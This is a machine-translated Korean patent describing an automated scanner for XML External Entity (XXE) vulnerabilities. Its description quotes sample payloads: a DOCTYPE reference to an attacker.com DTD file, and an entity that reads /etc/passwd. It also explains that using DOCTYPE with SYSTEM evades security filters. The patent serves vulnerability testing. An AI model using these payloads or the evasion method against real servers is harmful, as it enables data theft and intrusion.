KR102459418B1 - Apparatus and method for analyzing vulnerabilities - Google Patents

Abstract

The present application relates to a method for diagnosing a vulnerability for diagnosing a vulnerability and a diagnostic apparatus for the same. The method for diagnosing a vulnerability according to an embodiment of the present invention includes the steps of: receiving a URI (Uniform Resource Identifier) for diagnosis extracted from a server for diagnosis; generating a modulated URI by modulating to further include a modulated DTD syntax in a Document Type Definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI; transmitting the forged URI to the diagnosis target server and requesting a response to the forged URI from the diagnosis target server; and determining whether the XXE vulnerability exists from the response of the server to be diagnosed.

Description

{Apparatus and method for analyzing vulnerabilities}

The present application relates to a vulnerability diagnosis method capable of diagnosing an XML External Entity (XXE) vulnerability, and a diagnostic apparatus therefor.

With the recent proliferation of web services and user-friendly web interfaces, the integration of traditional applications into web-based systems is accelerating. In the development of web services, the problems of web applications themselves, programmers' ignorance of security, inability to block in firewalls, intrusion detection evasion, and adverse functions such as diversification of hacking tools are emerging as serious problems.

On the other hand, the XXE vulnerability is a vulnerability that occurs when the XML parser is weak, and when processing an XML value that refers to an external entity, the attacker executes an attack statement inserted by the attacker. Access to files or denial of service may occur.

The XXE vulnerability is the most widely used vulnerability by attackers to inject malicious code into a website. However, there is a difficulty in automating the diagnosis in that the developers have to use the structure and variables of XML arbitrarily generated.

An object of the present application is to provide a method for diagnosing a vulnerability capable of diagnosing an XXE vulnerability and a diagnostic apparatus for the same.

An object of the present application is to provide a vulnerability diagnosis method and a diagnostic apparatus for universally diagnosing XXE vulnerabilities, regardless of the tag structure of a body region included in an XML document.

A vulnerability diagnosis method according to an embodiment of the present invention relates to a vulnerability diagnosis method of a diagnosis apparatus for diagnosing an XML eXternal Entity (XXE) vulnerability, comprising the steps of receiving a diagnosis target Uniform Resource Identifier (URI) extracted from a diagnosis target server ; generating a modulated URI by modulating to further include a modulated DTD syntax in a Document Type Definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI; transmitting the forged URI to the diagnosis target server and requesting a response to the forged URI; and determining whether the XXE vulnerability exists from the response of the server to be diagnosed.

A diagnostic apparatus according to an embodiment of the present invention relates to a diagnostic apparatus for diagnosing an XML eXternal Entity (XXE) vulnerability, comprising: a URI collecting unit for receiving a diagnostic object Uniform Resource Identifier (URI) extracted from a diagnostic object server; a URI modulator that modulates a document type definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI to further include a modulated DTD syntax to generate a modulated URI; and a diagnosis unit that transmits the forged URI to the diagnosis target server, requests a response to the forged URI, and determines whether the XXE vulnerability exists from the response of the diagnosis target server.

Incidentally, the means for solving the above problems do not enumerate all the features of the present invention. Various features of the present invention and its advantages and effects may be understood in more detail with reference to the following specific embodiments.

According to the method for diagnosing a vulnerability and a diagnostic apparatus for the same according to an embodiment of the present invention, since the XXE vulnerability can be diagnosed using the modulation of the DTD area of the XML document, the tag structure of the body area of each XML document is different. Regardless, it is possible to diagnose XXE vulnerabilities in general.

According to the method for diagnosing vulnerabilities and the apparatus for diagnosing the vulnerabilities according to an embodiment of the present invention, the existing detection solutions can be easily bypassed, and thus the XXE vulnerability can be diagnosed more effectively.

However, the effects that can be achieved by the method for diagnosing vulnerabilities and the diagnostic apparatus therefor according to the embodiments of the present invention are not limited to those mentioned above, and other effects not mentioned above are derived from the description below. It will be clearly understood by those of ordinary skill in the art.

1 is a schematic diagram illustrating a vulnerability diagnosis system according to an embodiment of the present invention.
2 is a block diagram illustrating a diagnostic apparatus according to an embodiment of the present invention.
3 and 4 are exemplary diagrams illustrating variable declaration and call of an XML document according to an embodiment of the present invention.
5 is a flowchart illustrating a vulnerability diagnosis method according to an embodiment of the present invention.

Hereinafter, the embodiments disclosed in the present specification will be described in detail with reference to the accompanying drawings, but the same or similar components are assigned the same reference numerals regardless of reference numerals, and redundant description thereof will be omitted. The suffixes "module" and "part" for components used in the following description are given or mixed in consideration of only the ease of writing the specification, and do not have distinct meanings or roles by themselves. That is, the term 'unit' used in the present invention means a hardware component such as software, FPGA, or ASIC, and 'unit' performs certain roles. However, 'part' is not limited to software or hardware. The 'unit' may be configured to reside on an addressable storage medium and may be configured to refresh one or more processors. Thus, as an example, 'part' refers to components such as software components, object-oriented software components, class components and task components, processes, functions, properties, procedures, subroutines, segments of program code, drivers, firmware, microcode, circuitry, data, databases, data structures, tables, arrays and variables. Functions provided within components and 'units' may be combined into a smaller number of components and 'units' or further divided into additional components and 'units'.

In addition, in describing the embodiments disclosed in the present specification, if it is determined that detailed descriptions of related known technologies may obscure the gist of the embodiments disclosed in the present specification, the detailed description thereof will be omitted. In addition, the accompanying drawings are only for easy understanding of the embodiments disclosed in the present specification, and the technical spirit disclosed herein is not limited by the accompanying drawings, and all changes included in the spirit and scope of the present invention , should be understood to include equivalents or substitutes.

1 is a schematic diagram illustrating a vulnerability diagnosis system according to an embodiment of the present invention.

Referring to FIG. 1 , the vulnerability diagnosis system according to an embodiment of the present invention may include an external server 10 , a diagnosis apparatus 100 , and a diagnosis target server 200 .

Hereinafter, a vulnerability diagnosis system according to an embodiment of the present invention will be described with reference to FIG. 1 .

The diagnosis apparatus 100 may diagnose the diagnosis target server 200 and extract vulnerabilities such as web pages and web applications provided by the diagnosis target server 200 . That is, due to defects in hardware or software of the diagnosis target server 200 or flaws in design, the user of the terminal device 1 operates more than the permitted authority, or a weakness that enables the reading, falsification, and leakage of information beyond the permitted range. can be checked for.

The diagnostic apparatus 100 may include a plurality of diagnostic modules, and through each diagnostic module, XML eXternal Entity (XXE) vulnerability, source code exposure, LFI (Local File Inclusion), SQL (Structured Query Language) Injection, XSS Various types of vulnerabilities such as (Cross Site Scripting) and SSRF (Server Side Request Forgery) can be diagnosed. Here, each of the diagnostic modules may perform a simulated attack on the server 200 to be diagnosed, and the like to diagnose the vulnerability of the server 200 to be diagnosed. The diagnosis target server 200 may be connected to various types of terminal devices 1 through a network, and may be a web server that provides a web service to each terminal device 1 . The diagnosis target server 200 may include a plurality of web pages for providing web services, and the diagnosis target server 200 may include a plurality of uniform resource identifiers (URIs) for providing each web page.

The diagnosis target server 200 may be implemented as a separate physical configuration including a hardware and software configuration as shown in FIG. 1 , and may be implemented as a virtual machine in a cloud server according to an embodiment.

The cloud server may be a server that provides cloud computing. Cloud computing is a computing technology that provides IT resources as a service by utilizing Internet technology. It borrows and uses IT resources such as software, storage, servers, and network equipment as much as necessary, and supports real-time scalability according to the service load. It is the technology that pays for it. That is, cloud computing can run a plurality of virtual machines (VMs) on a physical server using virtualization technology, and each virtual machine is a virtual desktop, storage, and server that provide different operating systems and services, respectively. can be implemented

The cloud server may include a plurality of servers for diagnosis target 200 therein, and each server for diagnosis target 200 may operate as a web server that provides different web services and the like. Furthermore, according to an embodiment, the diagnosis apparatus 100 may be implemented as a virtual machine in a cloud server.

Additionally, an external server 10 for diagnosing XXL vulnerabilities may be further included in the vulnerability diagnosis system. The external server 10 may be a server arbitrarily set by the diagnosis apparatus 100 , and a DTD (Document Type Definition) file including a preset attack phrase may be stored in the external server 10 .

Here, the diagnosis apparatus 100 may utilize the external server 10 when performing XXL vulnerability diagnosis in an out of band (OOB) method, and the diagnosis target server 200 is transferred to the external server 10 through a mock attack. may be encouraged to connect. Thereafter, when the diagnosis target server 200 actually connects to the external server 10 , the external server 10 may provide the corresponding DTD file so that the diagnosis target server 200 executes the attack syntax.

In addition, the external server 10 may generate access record information for each accessed object, and may provide access record information to the diagnosis apparatus 100 after the mock attack is finished. In this case, it is also possible for the diagnosis apparatus 100 to determine the XXE vulnerability of the diagnosis target server 200 by using the access record information.

On the other hand, in the XXE vulnerability, the XML parser of the server 200 to be diagnosed is weak, and when processing an XML value referring to an external object, the attacker executes the attack syntax inserted by the attacker to access the server file. This is a vulnerability that causes denial of service.

Although the XXE vulnerability is a well-known vulnerability, it is very difficult to automate the diagnosis of the XXE vulnerability because the structure and variables of the XML document created by the developer must be used.

Specifically, in order to succeed in an attack based on the XXE vulnerability, an attacker must be able to intervene and change the DTD (Document Type Definition) area in the XML document, and then a process of calling the changed declaration by the attacker is required. Here, changing the declaration statement of the DTD area can be easily implemented, but there are additional restrictions in order to call and execute the attack statement using the changed declaration statement. In other words, it is necessary to maintain the tag structure of the body area of the existing normal XML document, and after identifying the part that parses and utilizes a specific value among the existing tag structures, the specific value is converted into a variable including the changed declaration statement. need to be replaced However, it is difficult to automate by matching both the tag structure of the body region of each XML document randomly generated by the developer and the tag names used in the tags.

Accordingly, in the present invention, by allowing declared variables to be called within the DTD area rather than the tag structure of the body area, to provide a general XXE vulnerability diagnosis method that can perform an attack without following the structure of the original XML document. do.

2 is a block diagram illustrating a diagnostic apparatus according to an embodiment of the present invention.

Referring to FIG. 2 , a diagnosis apparatus according to an embodiment of the present invention may include a URI collection unit 110 , a URI modulator 120 , and a diagnosis unit 130 .

The URI collection unit 110 may receive the diagnosis target URI extracted from the diagnosis target server 200 . The diagnosis subject server 200 may include a plurality of diagnosis subject URIs, and the URI collection unit 110 may collect each diagnosis subject URI from the diagnosis subject server 200 . According to an embodiment, it is also possible to collect the diagnostic target URI using a web crawler.

The URI modulator 120 may generate a modulated URI by modulating it to further include a modulated DTD syntax in the DTD area of the XML document included in the diagnosis target URI. Here, the URI modulator 120 may generate a modulation URI by using a diagnosis target URI having a POST format among the diagnosis target URIs. That is, since an XML document is not included in the case of a GET-type diagnosis target URI, a tampered URI can be generated targeting a POST-type diagnosis target URI that can have an XML document.

In general, the XML document may have a structure as shown in FIGS. 3 and 4 . Referring to FIG. 3 , the XML document may include an XML declaration (a), and the name of each tag may be declared through the DTD area (b). Thereafter, the body region c may include data (Gil-Dong Hong, Saeng-Won Heo, please contact me) such as corresponding contents along with the defined tag names (note, to, from, message).

Here, the declaration of tags in the DTD area (b) may be performed within the same XML document as shown in FIG. 4(a), and may also be performed using another external XML document as shown in FIG. do. That is, in Fig. 4(a), while declaring "note" as "DOCTYPE", it can be confirmed that each element included in "note", "to", from", and "message", is defined in the same XML document. On the other hand, in the case of Fig. 4(b), it can be seen that "note" is declared as "DOCTYPE" and defined to refer to an external "note.dtd" file.

On the other hand, the URI modulator 120 may add a tampered DTD syntax in the DTD area (b), and use this to declare the attack target file included in the diagnosis target server 200 in the DTD area and the corresponding attack. It can be modulated to even perform a call to the target file. Here, the modulation DTD syntax may be preset. The URI modulator 120 may include the modulated DTD syntax directly in the same XML document as shown in FIG. 4(a) or may include the modulated DTD syntax in an out-of-band (OOB) method as shown in FIG. 4(b).

In the case of the OOB method, the URI modulator 120 may declare an attack target file included in the diagnosis target server 200 by using "DOCTYPE" and "SYSTEM" commands in the DTD area.

In the case of a general XXE vulnerability attack, the XML "ENTITY" command is used to intervene in the DTD area, but the URI modulator 120 may use "DOCTYPE" to declare and refer to variables in the DTD area. In case of declaring "DOCTYPE", the variable can be loaded immediately after declaration without a separate call.

However, when "DOCTYPE" and "SYSTEM" are combined, "output" in the page is not possible, but "execution" is possible. You can immediately perform the action you want in the declaration without it.

That is, since security solutions generally expect to use the "ENTITY" syntax from the outside when attacking according to the XXE vulnerability, verification may be omitted for a direct call from "DOCTYPE". Therefore, when using the "DOCTYPE" and "SYSTEM" commands, it is possible to avoid filtering by a security solution or the like.

In addition, when the modulator 120 uses the OOB method, the modulation DTD syntax may be described to refer to the DTD file stored in the external server 10 when declaring a variable. For example, the tampering DTD syntax may include a syntax such as <!DOCTYPE root SYSTEM "http://attacker.com/xxe.xxe.dtd">. That is, after accessing the external server 10 through "http://attacker.com", the file "xxe.xxe.dtd" of the external server 10 may be referred to.

In this case, an attack phrase such as <!ENTITY cmd SYSTEM "file:///etc/passwd"> may be included in the xxe.dtd file of the external server 10 . In other words, declaring "/etc/passwd", which stores sensitive information such as user ID and password, in a variable such as "cmd", and then calling "cmd" to save important files such as "/etc/passwd". can be extracted. That is, by including an attack phrase such as declaring an attack target file as a specific variable in the external server 10, detection of the XXE attack can be avoided. Here, each external server 10 and the DTD file included in the external server 10 may be provided and set in advance by the diagnosis apparatus 100 .

As described above, in the case of the modulation DTD syntax used by the URI modulator 120 , since the calling part does not depend on the tag structure of the XML document, it can be used universally for each XML document. In addition, since the target data is not directly output in the tampered DTD syntax, the XXE vulnerability can be diagnosed without relying on the function of the web site provided by the diagnosis target server 200 . In addition, since the tampered DTD syntax is not detected or blocked by general filtering, effective XXE vulnerability diagnosis is possible.

Furthermore, in the case of the XXE vulnerability, there is a high possibility that it will be blocked by a firewall or a detection solution in the process of inputting the attack phrase and outputting the result. transmission, so it can bypass most detection solutions.

The diagnosis unit 130 may request a response to the forged URI by transmitting the forged URI to the diagnosis target server 200 , and may determine whether an XXE vulnerability exists from the response of the diagnosis target server 200 . That is, when the attack target file included in the diagnosis target server 200 is exposed in response to the forged URI, the diagnosis unit 130 may determine that the XXE vulnerability exists.

On the other hand, depending on the embodiment, it can be determined that the XXE vulnerability exists even when an attempt is made to connect the diagnosis target server 200 to the external server 10 . That is, even if the actual attack target file is not exposed, the connection to the external server 10 of the diagnosis target server 200 is due to the attacker's tampered DTD syntax, so it can be seen that the attacker's intervention in the XML document was successful. . Accordingly, in this case, the diagnosis unit 130 may determine that the XXE vulnerability exists in the corresponding diagnosis target server 200 .

5 is a flowchart illustrating a vulnerability diagnosis method according to an embodiment of the present invention. Here, each step may be performed by a diagnostic device for diagnosing the XXE vulnerability.

Referring to FIG. 5 , the diagnosis apparatus may receive the diagnosis target URI extracted from the diagnosis target server (S110). The diagnosis target server may include a plurality of diagnosis target URIs, and the diagnosis apparatus may collect respective diagnosis target URIs from the diagnosis target server. According to an embodiment, it is also possible to collect a diagnostic target URI using a web crawler.

The diagnostic apparatus may generate a modified URI by modulating the XML document included in the diagnostic target URI to further include a modified DTD syntax in the DTD area (S120). Here, the diagnosis apparatus may generate a forged URI by using a diagnosis subject URI having a POST format among the diagnosis subject URIs. That is, since an XML document is not included in the case of a GET-type diagnosis target URI, a tampered URI can be generated targeting a POST-type diagnosis target URI that can have an XML document.

Specifically, the diagnosis apparatus may add a modulated DTD syntax in the DTD area to modulate the declaration of the attack target file included in the diagnosis target server in the DTD area and even call the corresponding attack target file in the DTD area. Here, the modulation DTD syntax may be preset, and the modulation DTD syntax may be all included in the DTD area in the same XML document or configured to communicate with an external server in an OOB method.

In the case of the OOB method, the diagnosis apparatus may declare the attack target file included in the diagnosis target server by using "DOCTYPE" and "SYSTEM" commands in the DTD area. In other words, when "DOCTYPE" and "SYSTEM" are combined, "output" within the page is not possible, but "execution" is possible. You can immediately perform the execution of the desired action. In this case, filtering by an existing security solution or the like can be avoided.

In addition, when the OOB method is used, the tampered DTD syntax may be written to refer to the DTD file stored in the external server when declaring a variable, and the DTD file of the external server may include an attack syntax for declaring an attack target file. . After that, it is possible to extract important files by calling the declared attack target file. At this time, by including the attack syntax such as declaring the attack target file as a specific variable in the external server, detection of the XXE attack can be avoided.

Thereafter, the diagnosis apparatus may request a response to the forged URI by transmitting the forged URI to the diagnosis target server (S130), and may determine whether the XXE vulnerability exists from the response of the diagnosis target server (S140). That is, when an attack target file included in the diagnosis target server is exposed in response to the forged URI, the diagnosis apparatus can determine that the XXE vulnerability exists. Meanwhile, according to an embodiment, when the server to be diagnosed attempts to connect to an external server, it may be determined that the XXE vulnerability exists. That is, even if the actual attack target file is not exposed, the connection of the diagnosis target server to the external server corresponds to the attacker's tampered DTD syntax. That is, since the attacker's intervention in the XML document is successful, the diagnostic device can determine that the XXE vulnerability exists in the server to be diagnosed.

The present invention described above can be implemented as computer-readable code on a medium in which a program is recorded. The computer-readable medium may continuously store a computer-executable program, or may be temporarily stored for execution or download. In addition, the medium may be various recording means or storage means in the form of a single or several hardware combined, it is not limited to a medium directly connected to any computer system, and may exist distributed on a network. Examples of the medium include a hard disk, a magnetic medium such as a floppy disk and a magnetic tape, an optical recording medium such as CD-ROM and DVD, a magneto-optical medium such as a floppy disk, and those configured to store program instructions, including ROM, RAM, flash memory, and the like. In addition, examples of other media may include recording media or storage media managed by an app store that distributes applications, sites that supply or distribute various other software, or servers. Accordingly, the above detailed description should not be construed as restrictive in all respects but as exemplary. The scope of the present invention should be determined by a reasonable interpretation of the appended claims, and all modifications within the equivalent scope of the present invention are included in the scope of the present invention.

The present invention is not limited by the above embodiments and the accompanying drawings. For those of ordinary skill in the art to which the present invention pertains, it will be apparent that components according to the present invention can be substituted, modified and changed without departing from the technical spirit of the present invention.

1: terminal device 10: external server
100: diagnostic device 110: URI collection unit
120: URI modulator 130: diagnostic unit
200: diagnosis target server

Claims (10)

In the vulnerability diagnosis method of a diagnostic device for diagnosing XXE (XML eXternal Entity) vulnerabilities,
receiving a diagnosis subject Uniform Resource Identifier (URI) extracted from a diagnosis subject server;
generating a modulated URI by modulating to further include a modulated DTD syntax in a Document Type Definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI;
transmitting the forged URI to the diagnosis target server and requesting a response to the forged URI; and
and determining whether the XXE vulnerability exists from the response of the server to be diagnosed.
The method of claim 1, wherein the generating of the tampered URI comprises:
The method for diagnosing a vulnerability, characterized in that the forged URI is generated by using a diagnosis target URI having a POST format among the diagnosis target URIs.
The method of claim 1, wherein the modulation DTD syntax is
A vulnerability diagnosis method, characterized in that by declaring an attack target file included in the diagnosis target server within the DTD area, and even calling it.
The method of claim 3, wherein the generating of the forged URI comprises:
Vulnerability diagnosis method, characterized in that by using "DOCTYPE" and "SYSTEM" commands in the DTD area to declare and call the attack target file included in the diagnosis target server.
The method of claim 1, wherein the modulation DTD syntax is
A method for diagnosing vulnerabilities, characterized in that, when declaring a variable, a DTD file stored in an external server is referred to by using the OOB (Out Of Band) method.
The method of claim 5, wherein the generating of the forged URI comprises:
An attack syntax for declaring an attack target file included in the diagnosis target server as a specific variable is included in the DTD file of the external server.
The method of claim 1, wherein determining whether the XXE vulnerability exists
The vulnerability diagnosis method, characterized in that when the target file included in the diagnosis target server is exposed according to the forged URI, it is determined that the XXE vulnerability exists.
The method of claim 5, wherein determining whether the XXE vulnerability exists
If there is an attempt to access the external server by the server to be diagnosed, it is determined that the XXE vulnerability exists.
A computer program stored in a medium in combination with hardware to perform the method for diagnosing the vulnerability of any one of claims 1 to 8.
In a diagnostic device for diagnosing XXE (XML eXternal Entity) vulnerabilities,
a URI collecting unit for receiving a diagnosis target Uniform Resource Identifier (URI) extracted from a diagnosis target server;
a URI modulator that modulates a document type definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI to further include a modulated DTD syntax to generate a modulated URI; and
and a diagnosis unit that transmits the forged URI to the diagnosis target server, requests a response to the forged URI, and determines whether the XXE vulnerability exists from the response of the diagnosis target server.

Images